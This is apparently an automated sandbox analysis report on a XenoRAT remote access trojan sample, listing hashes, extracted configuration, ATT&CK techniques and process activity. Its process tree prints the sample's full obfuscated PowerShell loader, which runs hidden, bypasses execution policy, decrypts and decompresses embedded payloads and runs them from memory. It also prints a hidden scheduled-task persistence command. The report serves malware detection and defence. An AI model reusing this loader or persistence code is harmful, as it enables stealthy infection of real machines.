xenorat | d78ea86672081dae69afc22f94de2ce5e6867653d42d9bb8d215703be3f9f25c

Analysis

max time kernel
144s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
23/08/2024, 12:24

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General

Target
Universe.bat
Size 266KB
Sample240823-plhhcstcre
SHA256 d78ea86672081dae69afc22f94de2ce5e6867653d42d9bb8d215703be3f9f25c
MD5 b20843491bae175a8a3ea58950133d1a
SHA1 33552409f87c4b04f1a97e21c181e27327e0f847
SHA512 998bfa168786a28b6d5dc1d682ee7a75eceee58980a4a643c6c89d52a521bc592aa261c653d24f697c4e092379f63816344ff3667a6acb9d21bbeb2016d8c18b
SSDEEP 6144:J4blXryzoC5iq4a8PLJlAl0bBt1Az2iZg7Z8esqA4zX:ibc8ICa8PNC0blH9dsqh
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xenorat execution rat trojan

Malware Config

Extracted

Family

xenorat

127.0.0.1

Mutex

Xeno_rat_nd8912d

Attributes

delay
5000
install_path
nothingset
port
4444
startup_name
nothingset

Signatures

XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1160	powershell.exe
2312	powershell.exe
3092	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2312	powershell.exe
2312	powershell.exe
3092	powershell.exe
3092	powershell.exe
3092	powershell.exe
1160	powershell.exe
1160	powershell.exe
1160	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	3092	powershell.exe
Token: SeIncreaseQuotaPrivilege	3092	powershell.exe
Token: SeSecurityPrivilege	3092	powershell.exe
Token: SeTakeOwnershipPrivilege	3092	powershell.exe
Token: SeLoadDriverPrivilege	3092	powershell.exe
Token: SeSystemProfilePrivilege	3092	powershell.exe
Token: SeSystemtimePrivilege	3092	powershell.exe
Token: SeProfSingleProcessPrivilege	3092	powershell.exe
Token: SeIncBasePriorityPrivilege	3092	powershell.exe
Token: SeCreatePagefilePrivilege	3092	powershell.exe
Token: SeBackupPrivilege	3092	powershell.exe
Token: SeRestorePrivilege	3092	powershell.exe
Token: SeShutdownPrivilege	3092	powershell.exe
Token: SeDebugPrivilege	3092	powershell.exe
Token: SeSystemEnvironmentPrivilege	3092	powershell.exe
Token: SeRemoteShutdownPrivilege	3092	powershell.exe
Token: SeUndockPrivilege	3092	powershell.exe
Token: SeManageVolumePrivilege	3092	powershell.exe
Token: 33	3092	powershell.exe
Token: 34	3092	powershell.exe
Token: 35	3092	powershell.exe
Token: 36	3092	powershell.exe
Token: SeIncreaseQuotaPrivilege	3092	powershell.exe
Token: SeSecurityPrivilege	3092	powershell.exe
Token: SeTakeOwnershipPrivilege	3092	powershell.exe
Token: SeLoadDriverPrivilege	3092	powershell.exe
Token: SeSystemProfilePrivilege	3092	powershell.exe
Token: SeSystemtimePrivilege	3092	powershell.exe
Token: SeProfSingleProcessPrivilege	3092	powershell.exe
Token: SeIncBasePriorityPrivilege	3092	powershell.exe
Token: SeCreatePagefilePrivilege	3092	powershell.exe
Token: SeBackupPrivilege	3092	powershell.exe
Token: SeRestorePrivilege	3092	powershell.exe
Token: SeShutdownPrivilege	3092	powershell.exe
Token: SeDebugPrivilege	3092	powershell.exe
Token: SeSystemEnvironmentPrivilege	3092	powershell.exe
Token: SeRemoteShutdownPrivilege	3092	powershell.exe
Token: SeUndockPrivilege	3092	powershell.exe
Token: SeManageVolumePrivilege	3092	powershell.exe
Token: 33	3092	powershell.exe
Token: 34	3092	powershell.exe
Token: 35	3092	powershell.exe
Token: 36	3092	powershell.exe
Token: SeIncreaseQuotaPrivilege	3092	powershell.exe
Token: SeSecurityPrivilege	3092	powershell.exe
Token: SeTakeOwnershipPrivilege	3092	powershell.exe
Token: SeLoadDriverPrivilege	3092	powershell.exe
Token: SeSystemProfilePrivilege	3092	powershell.exe
Token: SeSystemtimePrivilege	3092	powershell.exe
Token: SeProfSingleProcessPrivilege	3092	powershell.exe
Token: SeIncBasePriorityPrivilege	3092	powershell.exe
Token: SeCreatePagefilePrivilege	3092	powershell.exe
Token: SeBackupPrivilege	3092	powershell.exe
Token: SeRestorePrivilege	3092	powershell.exe
Token: SeShutdownPrivilege	3092	powershell.exe
Token: SeDebugPrivilege	3092	powershell.exe
Token: SeSystemEnvironmentPrivilege	3092	powershell.exe
Token: SeRemoteShutdownPrivilege	3092	powershell.exe
Token: SeUndockPrivilege	3092	powershell.exe
Token: SeManageVolumePrivilege	3092	powershell.exe
Token: 33	3092	powershell.exe
Token: 34	3092	powershell.exe
Token: 35	3092	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4972 wrote to memory of 2312	4972	cmd.exe	95
PID 4972 wrote to memory of 2312	4972	cmd.exe	95
PID 2312 wrote to memory of 3092	2312	powershell.exe	96
PID 2312 wrote to memory of 3092	2312	powershell.exe	96
PID 2312 wrote to memory of 2932	2312	powershell.exe	102
PID 2312 wrote to memory of 2932	2312	powershell.exe	102
PID 2932 wrote to memory of 4840	2932	WScript.exe	103
PID 2932 wrote to memory of 4840	2932	WScript.exe	103
PID 4840 wrote to memory of 1160	4840	cmd.exe	106
PID 4840 wrote to memory of 1160	4840	cmd.exe	106

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Universe.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SnMKy725nJUhiMQ+k00yZGWuadijDwJVVBtPnLEkkhk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('axNyr+j+G5sbsmbLId0ybw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FYtig=New-Object System.IO.MemoryStream(,$param_var); $DgoBB=New-Object System.IO.MemoryStream; $zfUXx=New-Object System.IO.Compression.GZipStream($FYtig, [IO.Compression.CompressionMode]::Decompress); $zfUXx.CopyTo($DgoBB); $zfUXx.Dispose(); $FYtig.Dispose(); $DgoBB.Dispose(); $DgoBB.ToArray();}function execute_function($param_var,$param2_var){ $dTUPB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vjclB=$dTUPB.EntryPoint; $vjclB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Universe.bat';$KcJLn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Universe.bat').Split([Environment]::NewLine);foreach ($wEtNx in $KcJLn) { if ($wEtNx.StartsWith(':: ')) { $xAoQG=$wEtNx.Substring(3); break; }}$payloads_var=[string[]]$xAoQG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_984_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_984.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3092
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_984.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2932
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_984.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4840
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SnMKy725nJUhiMQ+k00yZGWuadijDwJVVBtPnLEkkhk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('axNyr+j+G5sbsmbLId0ybw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FYtig=New-Object System.IO.MemoryStream(,$param_var); $DgoBB=New-Object System.IO.MemoryStream; $zfUXx=New-Object System.IO.Compression.GZipStream($FYtig, [IO.Compression.CompressionMode]::Decompress); $zfUXx.CopyTo($DgoBB); $zfUXx.Dispose(); $FYtig.Dispose(); $DgoBB.Dispose(); $DgoBB.ToArray();}function execute_function($param_var,$param2_var){ $dTUPB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vjclB=$dTUPB.EntryPoint; $vjclB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_984.bat';$KcJLn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_984.bat').Split([Environment]::NewLine);foreach ($wEtNx in $KcJLn) { if ($wEtNx.StartsWith(':: ')) { $xAoQG=$wEtNx.Substring(3); break; }}$payloads_var=[string[]]$xAoQG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1160

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=1296,i,1602949858158667699,12464335823361976127,262144 --variations-seed-version --mojo-platform-channel-handle=4296 /prefetch:8
1⤵
PID:1320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e053d1faabd6b36371f452e79cf70591cf45403a671746136a87198694a8fdb9
MD5 6b8559593a74eb3b15c53a9fac9a469f
SHA1 13af213d1417edf30c03f76f9242c1975b2e4e74
SHA512 699b11eda97866809b696c96304bc218d7b72623fd537f83721f36a6c617d854fda7b6f01f7cb0bc0d55189c386e9b9fe6d111bb7c76cce492572b0a9961e974
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1767b4f469c955d68b8252cb68bf22ed7116ca4cd7793f877763f7e954a72c4a
MD5 b03f844e31d3cff178bf28968b6a618e
SHA1 da8264e5da16e43515c3760954af5f9db717059b
SHA512 c38ea43e6759407f1934db93461002e8006c0c24530ffe2a8002d4c4174f733339a7345cd8e2152aa653ef4d0a0a1ef98e97ea46deaadf98ac60ca904ed4f5d3
MD5 SHA1 SHA512

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__PSScriptPolicyTest_i1dgsko4.hft.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i1dgsko4.hft.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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startup_str_984.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_984.bat
Size 266KB
SHA256 d78ea86672081dae69afc22f94de2ce5e6867653d42d9bb8d215703be3f9f25c
MD5 b20843491bae175a8a3ea58950133d1a
SHA1 33552409f87c4b04f1a97e21c181e27327e0f847
SHA512 998bfa168786a28b6d5dc1d682ee7a75eceee58980a4a643c6c89d52a521bc592aa261c653d24f697c4e092379f63816344ff3667a6acb9d21bbeb2016d8c18b
SSDEEP 6144:J4blXryzoC5iq4a8PLJlAl0bBt1Az2iZg7Z8esqA4zX:ibc8ICa8PNC0blH9dsqh
MD5 SHA1 SHA512 SSDEEP

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startup_str_984.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_984.vbs
Size 115B
SHA256 e44b1cb9e698656d1f0e2229e111a5aef43a7d3a3440c5a7fbd15902cd3141c0
MD5 5b02c7370c7b81a6e4affa2d256d5f07
SHA1 4601ce806f55f6ffef21decf0f3670e573d4fc38
SHA512 49a1c57c0c0fb0b7a9b5af5ee4f9adc6ad4edd621ea64693515b4a87d2459ddbbc28dbeb4b9c0da20cef260c5797c7c4645c2ede06c9560f936767dab3380bef
MD5 SHA1 SHA512

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memory/1160-49-0x0000021D287A0000-0x0000021D287B2000-memory.dmp

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memory/2312-12-0x00007FFBBC920000-0x00007FFBBD3E1000-memory.dmp

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memory/2312-14-0x000001EFA1060000-0x000001EFA1094000-memory.dmp

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memory/2312-13-0x000001EF9EC10000-0x000001EF9EC18000-memory.dmp

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memory/2312-0-0x00007FFBBC923000-0x00007FFBBC925000-memory.dmp

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memory/2312-11-0x00007FFBBC920000-0x00007FFBBD3E1000-memory.dmp

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memory/2312-3-0x000001EF9EC40000-0x000001EF9EC62000-memory.dmp

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memory/2312-50-0x00007FFBBC920000-0x00007FFBBD3E1000-memory.dmp

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memory/3092-25-0x00007FFBBC920000-0x00007FFBBD3E1000-memory.dmp

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memory/3092-26-0x00007FFBBC920000-0x00007FFBBD3E1000-memory.dmp

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memory/3092-27-0x00007FFBBC920000-0x00007FFBBD3E1000-memory.dmp

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memory/3092-30-0x00007FFBBC920000-0x00007FFBBD3E1000-memory.dmp

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